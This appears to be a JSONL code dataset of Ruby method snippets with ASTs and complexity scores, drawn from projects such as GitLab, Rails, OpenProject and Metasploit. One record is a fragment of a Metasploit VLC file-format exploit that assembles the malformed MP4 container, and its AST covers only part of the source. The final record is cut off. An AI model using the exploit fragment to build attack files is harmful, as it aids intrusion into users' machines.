{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/grids/grid_area.rb","start_line":27,"raw_source":"def click_menu_item(text)\n        # Ensure there are no active toasters\n        dismiss_toaster!\n\n        open_menu\n\n        SeleniumHubWaiter.wait\n        click_link_or_button text\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"click_menu_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dismiss_toaster!\"]},{\"type\":\"send\",\"children\":[null,\"open_menu\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SeleniumHubWaiter\"]},\"wait\"]},{\"type\":\"send\",\"children\":[null,\"click_link_or_button\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"6f41cd95-0aec-49f9-b112-c58d74ebba6f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/ticket.rb","start_line":90,"raw_source":"def encode_enc_part\n            enc_part.encode\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_enc_part\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enc_part\"]},\"encode\"]}]}","id":"5e1b786e-c808-431b-8d8b-7a5f3234543b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/storage.rb","start_line":21,"raw_source":"def self.MongoDB(mongo_db = nil, collection_name = 'pages')\n      require 'anemone/storage/mongodb'\n      mongo_db ||= Mongo::Connection.new.db('anemone')\n      raise \"First argument must be an instance of Mongo::DB\" unless mongo_db.is_a?(Mongo::DB)\n      self::MongoDB.new(mongo_db, collection_name)\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"MongoDB\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"mongo_db\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"collection_name\",{\"type\":\"str\",\"children\":[\"pages\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"anemone/storage/mongodb\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mongo_db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mongo\"]},\"Connection\"]},\"new\"]},\"db\",{\"type\":\"str\",\"children\":[\"anemone\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mongo_db\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mongo\"]},\"DB\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"First argument must be an instance of Mongo::DB\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"self\",\"children\":[]},\"MongoDB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mongo_db\"]},{\"type\":\"lvar\",\"children\":[\"collection_name\"]}]}]}]}","id":"bed27b04-efa0-4db3-9bdc-a46615d06ca6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/vlc_realtext.rb","start_line":73,"raw_source":"def generate_mp4\n    mp4 = ''\n    # ftyp\n    mp4 << \"\\x00\\x00\\x00\\x14\"  # Size\n    mp4 << \"ftyp\"              # Type\n    mp4 << \"isom\"              # Major brand\n    mp4 << \"\\x00\\x00\"          # version\n    mp4 << \"\\x00\\x00\"\n    mp4 << \"mp41\"              # Compatible brands\n    # moov\n    mp4 << \"\\x00\\x00\\x00\\x9f\"  # Size\n    mp4 << \"moov\"              # Type\n    mp4 << \"\\x00\\x00\\x00\\x6c\\x6d\\x76\\x68\\x64\\x00\\x00\\x00\\x00\\xcb\\x75\\xf1\\xc2\\xcb\\x75\\xf1\\xc2\"\n    mp4 << \"\\x00\\x01\\x5f\\x90\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    mp4 << \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    mp4 << \"\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\"\n    mp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    mp4 << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x2b\"\n    mp4 << \"udta\"\n    mp4 << \"\\x00\\x00\\x00\\x23\"\n    mp4 << \"\\xa9\\x65\\x6e\\x63\\x00\\x17\\x00\\x00\"\n    mp4 << \"vlc 0.9.4 stream output\"\n    # wide\n    mp4 << \"\\x00\\x00\\x00\\x08\"\n    mp4 << \"wide\"\n    # mdat\n    mp4 << \"\\x00\\x00\\x00\\x08\"\n    mp4 << \"mdat\"\n\n    return mp4\n  end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_mp4\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mp4\"]},\"<<\",{\"type\":\"str\",\"children\":[\"vlc 0.9.4 stream output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mp4\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mp4\"]},\"<<\",{\"type\":\"str\",\"children\":[\"wide\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mp4\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mp4\"]},\"<<\",{\"type\":\"str\",\"children\":[\"mdat\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mp4\"]}]}]}]}","id":"83aaaf4c-cf21-46d6-b0a2-6ff8f46dba26"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/wiki_pages/show_page_header_component.rb","start_line":36,"raw_source":"def initialize(page:, project:, editable:)\n      super\n      @page = page\n      @project = project\n      @editable = editable\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"page\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"editable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@editable\",{\"type\":\"lvar\",\"children\":[\"editable\"]}]}]}]}","id":"ef9ef009-a16f-4b44-aafd-9bbcc0c08b7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/parse_hcl_file_service.rb","start_line":141,"raw_source":"def process_variable_or_output_arguments(line)\n          args = ARGUMENTS[current_block.to_sym]\n          return process_argument_declaration(line, args) if argument_declared?(line, args)\n          return process_heredoc if current_argument && heredoc_tag && line.squish == heredoc_tag\n\n          append_argument_value(line)\n        end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_variable_or_output_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGUMENTS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_block\"]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"argument_declared?\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_argument_declaration\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_argument\"]},{\"type\":\"send\",\"children\":[null,\"heredoc_tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"squish\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"heredoc_tag\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_heredoc\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"append_argument_value\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}","id":"2c58246e-efe3-4a8e-abd0-707a17da967e"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration/only_failures_support_spec.rb","start_line":13,"raw_source":"def last_run_statuses\n        config.last_run_statuses\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_run_statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"last_run_statuses\"]}]}","id":"0b602152-b59d-4682-b881-e4866ff1a80c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/profiles/two_factor_auths_controller.rb","start_line":231,"raw_source":"def groups_notification(groups)\n    group_links = groups.map { |group| view_context.link_to group.full_name, group_path(group) }.to_sentence\n    leave_group_links = groups.map do |group|\n      view_context.link_to safe_format(s_(\"leave %{group_name}\"), group_name: group.full_name),\n        leave_group_members_path(group),\n        remote: false, method: :delete\n    end.to_sentence\n\n    safe_format(s_(\n      'The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. ' \\\n        'You can %{leave_group_links}.'\n    ), group_links: group_links.html_safe, leave_group_links: leave_group_links.html_safe)\n  end","complexity_score":28.4,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_links\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view_context\"]},\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"full_name\"]},{\"type\":\"send\",\"children\":[null,\"group_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]},\"to_sentence\"]}]},{\"type\":\"lvasgn\",\"children\":[\"leave_group_links\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view_context\"]},\"link_to\",{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"leave %{group_name}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"full_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"leave_group_members_path\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"delete\"]}]}]}]}]},\"to_sentence\"]}]},{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. \"]},{\"type\":\"str\",\"children\":[\"You can %{leave_group_links}.\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_links\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_links\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"leave_group_links\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leave_group_links\"]},\"html_safe\"]}]}]}]}]}]}","id":"456440b0-cf99-4848-b545-97853f9ba84a"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/assets.rb","start_line":42,"raw_source":"def lookup_asset(unhashed_filename)\n        name = unhashed_filename.to_s\n        load_manifest.fetch(name, name)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_asset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unhashed_filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unhashed_filename\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_manifest\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"6e54f90c-9f32-4351-9df6-4896f2d8260f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/environments/schedule_to_delete_review_apps_service.rb","start_line":30,"raw_source":"def validate\n      return if can?(current_user, :destroy_environment, project)\n\n      Result.new(error_message: \"You do not have permission to destroy environments in this project\", status: :unauthorized)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"destroy_environment\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"str\",\"children\":[\"You do not have permission to destroy environments in this project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]}","id":"58f97cf0-d130-4e2f-8233-6f5d640801df"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/autosave_association.rb","start_line":284,"raw_source":"def autosaving_belongs_to_for?(association)\n      @autosaving_belongs_to_for ||= {}\n      @autosaving_belongs_to_for[association]\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"autosaving_belongs_to_for?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@autosaving_belongs_to_for\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@autosaving_belongs_to_for\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"association\"]}]}]}]}","id":"fbf71120-02d3-4d88-83ea-c6f8084e5049"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/random_with_offset.rb","start_line":78,"raw_source":"def autocorrect(corrector, node)\n          if integer_op_rand?(node)\n            corrector.replace(node, corrected_integer_op_rand(node))\n          elsif rand_op_integer?(node)\n            corrector.replace(node, corrected_rand_op_integer(node))\n          elsif rand_modified?(node)\n            corrector.replace(node, corrected_rand_modified(node))\n          end\n        end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integer_op_rand?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"corrected_integer_op_rand\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_op_integer?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"corrected_rand_op_integer\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_modified?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"corrected_rand_modified\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null]}]}]}]}","id":"136810db-be4a-46f4-af58-08f39e42aab7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/bottleneck_event.rb","start_line":69,"raw_source":"def self.event_definitions(event_type)\n    @event_definitions ||= {}\n    @event_definitions[event_type] ||= MiqEventDefinition.where(:event_type => event_type).to_a\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"event_definitions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_definitions\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@event_definitions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"event_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEventDefinition\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_type\"]},{\"type\":\"lvar\",\"children\":[\"event_type\"]}]}]}]},\"to_a\"]}]}]}]}","id":"63aa7e33-65ac-4c81-bfa2-c1f5c2dce805"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todo_service.rb","start_line":492,"raw_source":"def filter_mentioned_users(parent, target, author, skip_users = [])\n    mentioned_users = target.mentioned_users(author) - skip_users\n    filter_todo_users(mentioned_users, parent, target)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_mentioned_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"author\"]},{\"type\":\"optarg\",\"children\":[\"skip_users\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mentioned_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"mentioned_users\",{\"type\":\"lvar\",\"children\":[\"author\"]}]},\"-\",{\"type\":\"lvar\",\"children\":[\"skip_users\"]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_todo_users\",{\"type\":\"lvar\",\"children\":[\"mentioned_users\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]}","id":"3a508a11-12da-479a-84d9-eae39e61e39d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/conversations/filter_service.rb","start_line":49,"raw_source":"def conversations\n    @conversations.sort_on_last_activity_at.page(current_page)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"conversations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations\"]},\"sort_on_last_activity_at\"]},\"page\",{\"type\":\"send\",\"children\":[null,\"current_page\"]}]}]}","id":"e0d47a1d-3824-43f8-b107-05999d74dd36"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/media_proxy_controller.rb","start_line":68,"raw_source":"def media_attachment_file\n    if @media_attachment.thumbnail.present? && preview_requested?\n      @media_attachment.thumbnail\n    else\n      @media_attachment.file\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"media_attachment_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"thumbnail\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"preview_requested?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"thumbnail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"file\"]}]}]}","id":"dd8e54b9-43e6-43f2-aa35-5b33b9978742"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/has_many_through_association.rb","start_line":209,"raw_source":"def delete_through_records(records)\n          records.each do |record|\n            through_records = through_records_for(record)\n\n            if through_reflection.collection?\n              through_records.each { |r| through_association.target.delete(r) }\n            else\n              if through_records.include?(through_association.target)\n                through_association.target = nil\n              end\n            end\n\n            @through_records.delete(record)\n          end\n        end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_through_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"through_records\",{\"type\":\"send\",\"children\":[null,\"through_records_for\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"through_reflection\"]},\"collection?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"through_records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"through_association\"]},\"target\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"through_records\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"through_association\"]},\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"through_association\"]},\"target=\",{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@through_records\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}","id":"120a15ad-64cd-4deb-8dfd-3598de9f1a1e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/import_export/base_exporter.rb","start_line":215,"raw_source":"def export_topic_users!\n      @export_data[:users] = export_topic_users\n\n      self\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"export_topic_users!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@export_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[null,\"export_topic_users\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"80595455-6c97-479f-ae5d-ddc011349859"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/scada/modbusclient.rb","start_line":83,"raw_source":"def make_read_payload\n    payload = [datastore['UNIT_NUMBER']].pack('c')\n    payload += [@function_code].pack('c')\n    payload += [datastore['DATA_ADDRESS']].pack('n')\n    payload += [datastore['NUMBER']].pack('n')\n    make_payload(payload)\n  end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"make_read_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNIT_NUMBER\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@function_code\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DATA_ADDRESS\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUMBER\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"make_payload\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"33bf8bff-3d05-4df5-b524-6a6289f10569"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/anthropic.rb","start_line":19,"raw_source":"def default_options(dialect)\n          mapped_model =\n            case llm_model.name\n            when \"claude-2\"\n              \"claude-2.1\"\n            when \"claude-instant-1\"\n              \"claude-instant-1.2\"\n            when \"claude-3-haiku\"\n              \"claude-3-haiku-20240307\"\n            when \"claude-3-sonnet\"\n              \"claude-3-sonnet-20240229\"\n            when \"claude-3-opus\"\n              \"claude-3-opus-20240229\"\n            when \"claude-3-5-sonnet\"\n              \"claude-3-5-sonnet-latest\"\n            when \"claude-3-7-sonnet\"\n              \"claude-3-7-sonnet-latest\"\n            when \"claude-4-opus\"\n              \"claude-4-opus-20250514\"\n            when \"claude-4-sonnet\"\n              \"claude-4-sonnet-20250514\"\n            else\n              llm_model.name\n            end\n\n          # Note: Anthropic requires this param\n          max_tokens = 4096\n          # 3.5 and 3.7 models have a higher token limit\n          max_tokens = 8192 if mapped_model.match?(/3.[57]/)\n\n          options = { model: mapped_model, max_tokens: max_tokens }\n\n          # reasoning has even higher token limits\n          if llm_model.lookup_custom_param(\"enable_reasoning\")\n            reasoning_tokens =\n              llm_model.lookup_custom_param(\"reasoning_tokens\").to_i.clamp(1024, 32_768)\n\n            # this allows for lots of tokens beyond reasoning\n            options[:max_tokens] = reasoning_tokens + 30_000\n            options[:thinking] = { type: \"enabled\", budget_tokens: reasoning_tokens }\n          end\n\n          options[:stop_sequences] = [\"</function_calls>\"] if !dialect.native_tool_support? &&\n            